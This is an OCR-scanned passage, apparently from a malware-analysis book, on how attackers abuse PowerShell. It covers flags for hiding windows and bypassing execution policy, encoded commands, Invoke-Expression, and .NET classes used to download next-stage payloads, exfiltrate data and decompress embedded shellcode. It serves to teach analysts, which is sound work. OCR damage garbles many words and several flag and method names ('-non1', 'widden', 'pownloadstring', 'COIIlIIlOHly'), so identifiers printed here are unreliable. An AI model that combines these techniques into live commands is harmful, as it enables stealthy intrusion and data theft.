The power of PowerShell

PowerShell represents an ongoing evolution of Windows shell and scripting
languages. Its powerful functionality, access to .NET methods, and deep
integration with recent versions of Windows have facilitated the increase of its
popularity drastically among common users and malicious actors. From the point
of view of the attacker, it has many other advantages, especially in terms of
obfuscation. Additionally, because the whole script can be encoded and executed
as a single command, it requires no script files to hit the hard disk and leaves
minimal traces for forensic experts.



Basic syntax

PowerShell command-line arguments provide unique opportunities for the
attackers because of the peculiarities of their implementation. For example,
PowerShell understands even truncated arguments and the associated parameters
as long as they are not ambiguous. Let's go through some of the most common
values that are used when executing the malicious code:

e _noprofile (Often referred to as -nop): This skips the loading of the
PowerShell profile; it is useful as it is not affected by local settings.

e _noninteractive (Often referred to as -non1): This doesn't present an interactive
prompt; it is useful when the purpose is to execute specified commands
only.

® _executionpolicy (Often referred to as -exec or -ep): This is often used with the
Bypass argument to ignore settings that limit certain PowerShell
functionality. It can also be achieved by many other approaches; for
example, by modifying PowerShell's executionpolicy registry value.

® _windowstyle (Often referred to as -win or -w): This is usually used by attackers
with a widden (or 1) argument to hide the corresponding window for stealth
purposes.

e _command (Often referred to as -c): This executes a command provided in a
command line.

® _encodedcommand (Often referred to as -enc, -ec, or -e): This executes an encoded
(base64) command provided in a command line.

In the preceding examples, the command-line argument can actually be truncated
to any number of letters and still be valid for PowerShell. For example, -noprofile
and -noprof, O Hidden and Hidde, Will be processed in exactly the same way.

Regarding the syntax, here is a list of some commands that are often misused by
attackers:

e Native cmdlets:
® 1nvoke-Expression (iex): This executes a statement provided as an
argument; it is very similar to the eval function in JS
® Invoke-Command (icm)Z This is often used with the -scriptslock argument to



achieve pretty much the same functionality as rmvoke-expression

® 1nvoke-webrequest (iwr): This sends a web request; for example, it could
send a request to interact with the C&C

® ConvertTo-SecureString. This is COIIlIIlOHly used for dECprtng dan
embedded script

e NET:

e The [System.Net.WebClient] class:

pownloadstring: Download a string and store it in memory, for
example, a new command or script to execute

pownloadpata: L.ess often used by attackers, download the payload
as a Byte array

pownloadrile: Download a file on a disk, for example, a new
malicious module

Each of these methods has its Async versions as well, with the corresponding
name suffixes (hke DownloadStringAsync)

e The [System.Net.WebRequest], [System.Net.HttpWebRequest],

[System.Net.FileWebRequest], and [System.Net.FtpwebRequest] classes:

Create (also createDefault and Creatthtp)I This creates a web request
to the server.

cetresponse: This sends a request and gets the response, such as
with a new malicious module. Versions with the async suffix and
the segin and end prefixes are also available for asynchronous
operations (SUCh asS BeginGetResponse OI GetResponseAsynC), but they are
rarely used by attackers.

GetRequeststrean: This returns a stream for writing data to the
internet resource—to exfiltrate some valuable information or send
infections statistics, for example. Versions with the async suffix
and the segin and end prefixes are available as well.

e The [system.Net.Http.Httpclient] Class:

GetAsync, GetStringAsync, GetStreamAsync, GetByteArrayAsync, PostAsync,
and putasync: These are multiple options to send any type of HTTP
request and to get the response back

e The [System.IO.Compression.DeflateStream] and
[System.IO.Compression.GZipStream] classes are COHIIHODly employed to
decompress the embedded shell code after decoding it using the
base64 algorithm. They are usually used with a
[System.IO.Compression.CompressionMode]: :Decompress parameter dS an



argument for an [system.10.streanreader] Object (see the following
screenshot for an example).
e The [System.Convert] class:
® FromBase64String - decrypt base64-encoded Stl‘iIlgS, such as the next
stage payload

For .NET namespaces, the system. prefix can be safely omitted, as follows:
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